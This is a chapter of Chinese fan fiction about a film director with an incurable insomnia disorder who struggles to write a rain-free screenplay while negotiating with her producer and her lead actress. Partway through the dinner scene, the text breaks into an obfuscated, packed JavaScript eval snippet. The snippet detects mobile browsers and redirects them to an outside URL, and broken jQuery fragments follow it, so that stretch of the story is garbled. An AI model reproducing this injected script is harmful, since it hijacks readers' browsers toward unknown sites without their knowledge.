*芙卡洛斯中心，内含厄歌莉娅→芙卡洛斯←芙宁娜，快跑。


    有没有一种可能，我们生活的世界是如此这般：没有沉眠，没有清醒。醒时梦游，睡时失眠。有细胞在六百万年里未曾醒来，有梦乡在一秒钟内如沫破灭。人们赤身裸体地与空气搏斗一生，最后宇宙啪地一声熄灭，万万人一起梦游一起失眠。


    医生啪地一声摁下圆珠笔：非常典型的失眠症候群。


    失眠症候群？


    Insomnia syndrome，简称IS，你可以理解为一种睡眠障碍，病因不明，暂时没有治疗手段。IS的典型临床表现为难以入眠，或睡眠质量下降，同时可能伴有梦游、梦话等症状，患者初期便开始混淆梦境与现实，随病程进展逐渐加重，常被误诊为精神分裂症。但和DSPD不同的是，患者昼夜节律仍然保持正常水平。


    DSPD？


    睡眠相位后移症候群，delayed sleep-phase syndrome，简称DSPD。简单来说，就是患者的生物钟相对大众有所延迟。


    谢谢您，这很有意思。


    最重要的一点是。医生倒转笔杆，对准桌子，啪地一声宣告病历完成：IS患者症状会逐渐加重，直至完全迷失在现实与梦境之间。大多数患者的归宿都是精神病院，望您知晓。


    您说大多数，那还有小部分患者呢。芙卡洛斯如此问道。


    医生心平气和地说，自杀或自杀未遂。芙卡洛斯小姐，左转窗口排队缴费，一楼药房取药。


    芙卡洛斯觉得好笑：不是没有治疗手段吗？


    安眠药。医生并不看她，只做了个手势：下一位，请进。


    01 久雨之人


    “下一部？下一部的事情下一部再说啊。”芙卡洛斯挂断电话，把自己扔到潮湿的床单上，干净果断，与扔一条濒死的鱼无异。那盒思诺思就扔在茶几上，不过是另一条濒死的鱼。猫来蹭她的腿，发出甜腻的叫声。


    窗外的雨下得犹豫，从窗缝里钻进来的部分柔弱无力地聚成浅水洼，芙卡洛斯用一张餐巾纸就吸干了这滩被世界遗忘的海洋。


    大部分时候芙卡洛斯都希望雨季不再来。因为下雨是一件很麻烦的事情，对导演来说，即使当时她正迫切地需要一场雨。它的时机，力度，色泽，都无法预测。尽管芙卡洛斯有充足的耐心，但面对不在掌控之中的事情，她总还是有一点焦躁。


    没有人会想到，芙卡洛斯竟然不喜欢雨天。毕竟《卡门之死》大获成功。那是她的出道之作，斩获几乎所有主流奖项。豆瓣点赞最高的一篇影评说她是世界上最会拍雨的导演。你无法想象的、能够想象的、曾经见过的、不曾存在的雨她都能拍出来，而且就在这一部电影里，影评人如是说。卡门死时那场雨将是载入影史的一场雨，主演芙宁娜就凭这一场戏，也将是能载入影史的女演员。她后来的每部作品都不会缺少雨戏，尽管并不是出于要将雨打造成她个人名片的刻意。芙卡洛斯每次回想起这些生命中的水洼，都只好将之追溯到她出生那天的雨。


    芙卡洛斯不知道自己的生日，也不知道自己的父母。昏暗小巷、过期面包、腐烂水果把她养到六岁，然后一所不知名的孤儿院接手将她抚养成人。但她知道自己出生时在下雨，不是坚信，而是知道。她曾经如此对夏洛蒂陈述：总有人知道雨下在自己的生命里，这样的人不需要伞。我就是如此知道，我出生时，窗外在下雨，港口在下雨，全世界都在下雨。


    夏洛蒂那篇题为《久雨之人》的报道火得一塌糊涂，杂志社连夜给印厂下新订单。芙卡洛斯收到两本崭新的样刊，一本拿来垫桌脚，一本拿来压泡面。她对夏洛蒂说，我并不是不珍惜你的文字，而是你的文字不该登在这种小报上。她说得对，第二年夏洛蒂就跳槽去了蒸汽鸟报。采访芙卡洛斯和她的新作《暴雨来电》的专题报道沸沸扬扬地绕国境线三圈，飞去国外飞向世界飞往宇宙。那本特刊在芙卡洛斯的书架上觅得一个角落，扉页还有作者夏洛蒂本人的签名。


    【第一百三十六场，雨天……】笔迹划掉“雨天”，又在纸上斟酌出一群蝌蚪。很快蝌蚪变成青蛙，从那张吸干海洋的餐巾纸里一只一只往外跳，好像千百个池塘里全部的蝌蚪库存都在这里了。


    “所以我说，你真得好好休息。淡水和咸水都分不清了。”电话对面的女声如是说。


    芙卡洛斯放下Apple pencil，举着手机翻身躺上沙发，双目无神地看着空无一物的天花板，有气无力地说：“我的神经还很活跃，你明白吗？青蛙们在唱歌剧。”


    “那就写出来。”


    “我写不出来——我不能写。我不能再写雨了。雨雨雨。雨已经把我浇透了，现在它想入侵我的骨头。我的骨头知道这一点，它在向我求救。”芙卡洛斯把手机拉到嘴边，点开外放。


    “写吧，你想写，那就写。就算又写了雨，那又怎样呢？至少，我依旧愿意担任你的制片。”


    女声很温柔、又很无畏地说着，她的声线和说出的话以一种奇特的张力回荡在房间里，让芙卡洛斯忍不住露出被羽毛挠到般的笑容：“谢谢你，厄歌莉娅。不，谢谢你，前辈。但我真的不想再被雨绑架了。这个故事我很喜欢，我希望它不要被雨淋湿。”


    “你决定就好，再多休息一段时间也没什么的。院线总是很忙碌，不缺一两部片子。他们宁愿用垃圾填满所有时间，也不肯多给我们哪怕百分之一的排片。”从厄歌莉娅轻松的语气来看，她其实并未把这当回事。


    “我想我们都已经习惯了。”芙卡洛斯说，以一种郑重的口吻。她喜欢这样做，用严肃的语气说调侃的话，用嘲笑的语调说沉重的事，这样才够反讽。戏剧喜欢张力，所以芙卡洛斯也要充满张力。


    厄歌莉娅在对面轻笑，她说：“是的，我们都已经习惯了。再见，芙卡洛斯。”


    芙、卡、洛、斯。念这个名字的时候，总是嘴唇慢慢张开到最大，然后舌头蜻蜓点水地亲吻上颚，最后收尾时要把唇抿紧，上下唇轻轻一碰，从中摩擦出暧昧的气流。厄歌莉娅喜欢冷不丁地俯身在她耳边这样叫她，于是那股气流就尽数顺着耳道流进她的躯体。


    想到这里芙卡洛斯不禁微怔，把手机从耳边拿开。对面已经挂了，慌乱中她点开其他人的聊天框，随便敲出几个字母，又慢慢删去。究竟在欲盖弥彰些什么？她不知道。


    她心烦意乱地低头，才看清她滑开的是芙宁娜的聊天框。上一条聊天记录还停留在对方的拒绝。


    芙宁娜说：你厌倦了雨，我也是。如果新作还是和雨有关，请恕我拒绝。


    芙卡洛斯缓慢地用指节敲下几个字：有时间面谈吗。


    芙宁娜的名字好几次变成“对方正在输入中……”，但一直没有新消息发来。芙卡洛斯很有耐心地等。


    芙宁娜是一个对芙卡洛斯来说十分奇特的人。她们的成长经历完全不同，但长相十分相似，芙卡洛斯几乎以为她们是亲生姐妹。第一次见面她就提出亲子鉴定这么冒犯的要求，但却没有冒犯到芙宁娜，后者非常爽快地同意，随后排除了她们之间任何可能的血缘关系。但这只是她们合作的一段小插曲，甚至称不上不愉快。


    芙宁娜出演《卡门之死》的时候才十六岁。不是谁的十六岁都能掌控卡门这样的角色，但芙宁娜可以。她圆滑、老练、自如的演技几乎是已历尽风霜、成熟过头的艺术家才能拥有的，叫人疑心她是否在短短十六年的时间里活过好几辈子，或上辈子投胎前忘记喝孟婆汤。


    有影评人说芙宁娜只是遇到了合适的角色。言下之意，芙宁娜和卡门是一类人。她们是放荡的自由鸟，任谁也抓不住。然而《暴雨来电》里芙宁娜又完美出演了一个羞涩单纯的高中生米娅，流离失所在洪水之年。那之后没有人再敢轻易评价芙宁娜，他们明白那瘦削的身体里有一个巨大的黑洞。


    芙卡洛斯对芙宁娜基本满意。基本满意的意思就是说，芙宁娜没有演出她心目中的百分百，但不会有人比她做得更好。


    开拍前的主创见面会定于下周六晚上。芙卡洛斯还有最后一周时间打磨剧本。


    【第一百三十六场，雨天，露景泉前。


    那伊阿得斯提起裙摆。她踩过一地积水，凝神静听露景泉中的哭声。独自淋雨的宁芙想起很多往事。】


    芙卡洛斯的双手移下键盘。她重重吐出一口浊气，又一个字一个字把这段删掉。太烦躁了。双手在键盘边用力敲几下不存在的黑白键，又转向一旁的酒杯，轻轻摇了摇剩下的半杯薄荷酒。它们从午后沉淀至日落，直到所有冰块都融进酒精的血液里。猫在一旁微微摇动自己蓬松的尾巴，换了个姿势压到她的键盘上，于是文档里出现了一排整齐的尖叫。


    啊啊啊啊啊啊啊啊啊


    芙卡洛斯看着这行字就好像她自己已经如此发泄过一般，微微笑了。她把猫抱到膝上。


    《宁芙之梦》。这个故事经常出现在她的梦里，从有记忆开始。芙卡洛斯确信自己是被这个故事推着往前走的，她的一切选择、生命之火都来源于此。


    如果IS病程加快，她恐怕没有办法再继续做导演了。这件事像一片乌云压在芙卡洛斯心头。又沉重又轻盈。


    她说不清到底是恐惧还是庆幸。既恐惧于无法完整地讲述这个故事，又庆幸于能够不再沉溺于这个故事。有时候她真的觉得，她是为了说出这个故事才来到世上的。这让她焦急又燥热。她迟迟说不出这个故事的第一句话，那句话酝酿了二十八年，二十八岁的芙卡洛斯着手开始写剧本时仍然不知道那句话在哪，仿佛它被她遗忘在一个清醒的梦境里。


    一打开文档，她就无边无际地飘荡在水洼上，青蛙们不听她的指挥，把歌剧唱成一团揉皱的蝌蚪。


    芙宁娜最终回复她“好”。孤零零一个字悬在对话框，如一只白色气球悬在水上。芙卡洛斯把见面会的时间和地点转发给她，丢下手机和猫去冰箱里搜刮薄荷酒和冰块。她的冰箱向来空空荡荡，只有烟草和酒精能占据一席之地。


    翡翠色液体流进杯子流进喉咙流进胃里，一路风卷残云把所有忧愁都烧尽。


    电话就在这种时候没有眼色地响起，芙卡洛斯弯腰去看躺在沙发上的手机，原来是生活助理克洛琳德。说是生活助理，其实克洛琳德包办了她工作与生活24h不间断生产出的全部杂活。芙卡洛斯曾不止一次对外声称她有全世界最好的助理。


    “芙卡洛斯小姐，您审完剧本了吗？公司那边催我提交。”公事公办的冷静语气，克洛琳德的工作风范。


    芙卡洛斯歪头把手机夹在耳后，腾出手来打开电脑，在文件夹里翻找着问：“那个《枫丹饮食男女》？”


    “正是。”几乎是铿锵有力的两个字了。


    “克洛琳德，不用这么刻板吧？我以为我们已经是朋友了？”芙卡洛斯快速地滑着滚轮，企图通过一目十行回忆旧故事。


    “那您希望我怎么回复？”


    芙卡洛斯都能想象电话那头克洛琳德的模样——一丝不苟，面无表情。她想着想着就笑了：“首先，不用用您称呼我。”


    “好的，芙卡洛斯小姐。”


    “也不要这个。”


    “……”


    芙卡洛斯伸了个懒腰：“好啦，不逗你了。我也不是那么无情的哦？一定要你改变自己的习惯，那未免也太无趣了。克洛琳德怎么喜欢就怎么称呼吧。说回这个剧本——”芙卡洛斯深深皱眉，“我觉得还是有待打磨。”


    “明白了。明天我会与董事那边交涉，保守估计能为您争取至少一个月时间。”


    “我就知道！没有克洛琳德我可怎么办呀。”芙卡洛斯心满意足地笑了起来。


    挂断电话她端起酒杯一饮而尽。明天再开始吃思诺思，到时候戒酒也来得及。她状似冷静地想。


    厄歌莉娅预定的包厢在二楼。芙卡洛斯将还在滴水的长柄伞递给服务员，踩上铺着大理石的雪白楼梯。雨季时楼梯下会铺一块张扬的酒红绒毯，吸纳一切污浊，于是楼梯上来往的又都是光鲜亮丽的顾客了。


    “我来晚了，自罚一杯。”芙卡洛斯推开包厢的门，发现人已到齐，留下中间的位置给她，便走过去脱下大衣，随手搁在椅背上。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099061|163753||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“导演兼编剧居然来得最晚，是该罚。”厄歌莉娅笑着说，她伸长胳膊递来酒杯，玻璃器皿挂在修长的两指间，杯底一层琥珀色液体与灯光同调。芙卡洛斯刚想接过，又想起床头那盒思诺思。她犹豫着摆手拒绝。厄歌莉娅从善如流地收回了手。


    “还是赶快说正事吧。我可还没答应出演呢。”芙宁娜抬了抬帽子。自从成为炙手可热的大明星，那顶礼帽就成了她的纹身。芙卡洛斯拼命想要从帽檐下捕捉到一双眼睛，却只是徒劳。上一次没有镜头横亘于其间而直视那双眼睛是什么时候？她几乎有些记不清了。


    厄歌莉娅有些意外：“怎么，这次的剧本芙宁娜小姐不满意？”


    “满意不满意的……不如说芙卡洛斯大导演卖了好大的关子，在座的有谁看到过完整的剧本吗？”芙宁娜习惯性地拉低帽檐，借着左手的掩饰喝了一口柠檬水。


    芙卡洛斯看得想笑。她知道芙宁娜喜爱热闹的宴会，但厌恶无趣的社交。这一招还是她教给芙宁娜的，可以有效减少酒精摄入。但平心而论，在她芙卡洛斯的饭局上，还没有人敢逼她的御用主演喝酒。


    “哎呀呀，大家也都是合作多次的熟人了，我对芙卡洛斯导演的本子有信心。”说这话的是赞助商雪翅雁商会代表萨德先生，他遥遥举起酒杯向芙卡洛斯示意，“只要芙卡洛斯导演多给芙宁娜小姐讲讲戏，有什么问题解决不了呢？”


    “那可未必。”芙宁娜冷淡地说，并没有转头看萨德一眼。


    “萨德先生有所不知，电影并不是我一人的一言堂。芙宁娜的宝贵意见对成片来说非常重要。对不对，芙宁娜？”芙卡洛斯状似无意地开口接话，纵容芙宁娜的小小脾气，“难道我没给你讲过戏吗？”


    芙卡洛斯调笑着看向芙宁娜。后者从帽下凝视她的淡眼瞳，无言地耸耸肩。


    芙卡洛斯不是没给芙宁娜讲过戏。但很有想法的导演与很有想法的演员凑到一起，常常谁也说服不了谁，最后只好彼此妥协。


    《暴雨来电》路演时夏洛蒂担任主持人，举着话筒说，我可以问一个很尖锐的问题吗？她的视线从芙宁娜扫到芙卡洛斯，又从芙卡洛斯扫到芙宁娜。芙卡洛斯笑着说，但说无妨啊。芙宁娜说，夏洛蒂你就是太有礼貌了，为了大新闻其他人都直接问的。


    台下一片善意和鼓励的笑声。夏洛蒂就问，芙卡洛斯导演，芙宁娜是你想要的卡门和米娅吗？


    芙卡洛斯低头想了想，问，这很尖锐吗？


    夏洛蒂说，如果实话实说，那就很尖锐。


    芙宁娜在一旁笑道，实话实说，我绝对不是她心目中的卡门和米娅。我不可能与亲爱的导演百分百同步，我不是她肚子里的蛔虫。只是古往今来所有导演羞于承认这一点，或者，至少在路演时不承认这一点。


    她们在台上一齐笑起来。


    芙卡洛斯补充说：但她演出了我设想的百分之九十九。剩下百分之一是因为我们DNA中的差异，你对本质的差异就是没什么办法的。卡门也好，米娅也罢，我们的确给了她们生命，但现在，她们已经从我们的生命里分离出去，从今往后，卡门是卡门，米娅是米娅，芙宁娜是芙宁娜，芙卡洛斯是芙卡洛斯。


    但谁是芙卡洛斯？谁又是芙宁娜？当芙卡洛斯说“我是芙卡洛斯”时，她总觉得“我”并不能和“芙卡洛斯”这个名字划等号。在“我”之外，芙卡洛斯还有一些别的东西。构成芙卡洛斯的质料里还有一些不为人知的成分，比如粗玻璃珠、老旧电视机、喑哑断续的雨声之类的。芙宁娜也是一样。当她的嘴巴开合吐露芙宁娜的名字时，她总觉得是一粒一粒的泉水涌了出来。她想芙宁娜大概就是这样一种亮闪闪的，颗粒质感的水银色河流，在看不见的河面下，谁知道生存着些什么呢？也许是有毒的水母，也许是孱弱的鳄鱼，它们的眼泪汇进永不停歇的奔流。


    酒桌上气氛一时有些沉闷。但芙宁娜向来不在乎这些：“不如借此机会请芙卡洛斯导演给我们好好讲讲，《宁芙之梦》究竟是什么样的故事？我知道你已经打磨很久了，但我们谁也没看过完整的剧本。”


    萨德点头附和道：“这一点我必须拥护伟大的芙宁娜小姐，芙卡洛斯导演，请让我们吃颗定心丸，叫我们知晓又一部佳作已在酝酿之中了。”


    “难道厄歌莉娅和我不够令人安心？”芙卡洛斯挑了挑眉。


    “哈哈，哪里的话。只是如果有芙宁娜小姐加入，‘黄金三角’不是更有看点吗？票房当然也更有保障。”


    芙卡洛斯笑道：“那恐怕萨德先生这次要失望了。《宁芙之梦》不是商业片。”


    萨德浑不在意地挥挥手：“芙卡洛斯导演的文艺片肯定能拿奖，迄今为止也都叫好又叫座，片子类型不是问题。”


    芙宁娜说：“片子类型不是问题，但雨是。”


    大家都沉默了。所有人——在这酒桌之上的所有人都或多或少了解过芙卡洛斯，当然知道她的生命如何阴雨不歇。可是从来没有人会觉得这会成为一个问题，除了芙卡洛斯和芙宁娜。


    芙宁娜接着说：“就像我之前同你说的，如果仍然是一个和雨有关的故事，请容我拒绝。”


    “不会，”在其他人作出反应之前，芙卡洛斯斩钉截铁地说，“它不会和雨有任何关系。”她的语气几乎是挑衅的，像在明晃晃地对芙宁娜说，我比你更早更快更好地走出一场大雨。


    总是这样。正因如此，芙宁娜时常觉得自己厌恶芙卡洛斯。在芙卡洛斯面前她就像赤条条的婴儿，□□，毫无尊严。她被她洞察了，不是通过眼睛，而是什么更深刻更本源的联系。但她对此一无所知。


    芙卡洛斯思考的是很遥远的东西。但遥远的东西对芙宁娜来说是飘渺的。人怎么可能抓住风筝？人应该松开手里的风筝线，那根纤细的线不过是人一厢情愿的强求。芙宁娜就不这样：她思考的是切近的东西。蛋糕、银餐叉、洋帽、柴郡猫、硬壳童话书、明天的菜单和镜头里她的一举一动。她想跋涉出芙卡洛斯的那场大雨，她不想再被困在别人生命的阴雨中。可也许她实际上是被困在自己的雨里，关于这一点她暂时不愿也不敢深思。